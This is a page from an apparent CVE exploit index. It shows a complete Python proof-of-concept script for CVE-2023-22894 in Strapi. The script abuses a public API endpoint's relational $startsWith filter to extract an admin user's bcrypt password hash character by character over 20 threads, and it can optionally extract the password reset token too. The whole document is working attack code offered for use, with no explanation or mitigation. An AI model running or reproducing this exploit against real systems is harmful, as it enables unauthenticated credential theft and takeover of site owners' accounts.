4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2023-22894. The file may not exist in the repository.
POC / dump-authless.py PY
import requests, sys, argparse
import urllib.parse as urlparse
from concurrent.futures import ThreadPoolExecutor

THREADS=20
BCRYPT_CHARS = "$./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
TOTAL_CHARS = len(BCRYPT_CHARS)


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser()


    parser.add_argument(
        '-u', '--url',
        help='Target URL',
        required=True
    )



    parser.add_argument(
        '-e', '--endpoint',
        help='The public endpoint on Strapi which have relationship with User',
        required=True
    )

    parser.add_argument(
        '-d', '--dump',
        help='Dump the password reset token \n-d true',
    )


    return parser.parse_args()



def attempt_char_hash(s: requests.Session, api_url, known_hash, c):
    r = s.get(
        api_url + f"?filters[$and][0][createdBy][password][$startsWith]={known_hash + c}",
    )
    r_json = r.json()
    if "data" in r_json:
        r_json = r_json["data"]

    if len(r_json) > 0:
        return (True, c)
    return (False, None)

def attempt_char_token(s: requests.Session, api_url, known_hash, c):
    r = s.get(
        api_url + f"?filters[$and][0][createdBy][reset_password_token][$startsWith]={known_hash + c}",
    )
    r_json = r.json()
    if "data" in r_json:
        r_json = r_json["data"]

    if len(r_json) > 0:
        return (True, c)
    return (False, None)

def dump_password_hash(s, api_url):
    dumped_data = ""
    print("Password Hash:", end="")
    sys.stdout.flush()

    while True:
        found_char = False

        with ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = executor.map(
                attempt_char_hash,
                TOTAL_CHARS * [s],
                TOTAL_CHARS * [api_url],
                TOTAL_CHARS * [dumped_data],
                BCRYPT_CHARS
            )

            for result in futures:
                matched_char, char = result
                if matched_char:
                    found_char = True
                    dumped_data = dumped_data + char
                    print(char, end="")
                    sys.stdout.flush()
                    break

        if not found_char:
            break
    print("")


def dump_password_reset_token(s, api_url):
    dumped_data = ""
    print("Password Reset Token:", end="")
    sys.stdout.flush()

    while True:
        found_char = False

        with ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = executor.map(
                attempt_char_token,
                TOTAL_CHARS * [s],
                TOTAL_CHARS * [api_url],
                TOTAL_CHARS * [dumped_data],
                BCRYPT_CHARS
            )

            for result in futures:
                matched_char, char = result
                if matched_char:
                    found_char = True
                    dumped_data = dumped_data + char
                    print(char, end="")
                    sys.stdout.flush()
                    break

        if not found_char:
            break
    print("")


def main(args):
    target = args.url
    endpoint = args.endpoint
    api_url = urlparse.urljoin(target, endpoint)
    dump = args.dump

    with requests.Session() as s:
        dump_password_hash(s, api_url)
        if(dump == "true"):
            dump_password_reset_token(s, api_url)


if __name__ == "__main__":
    args = parse_args()
    main(args)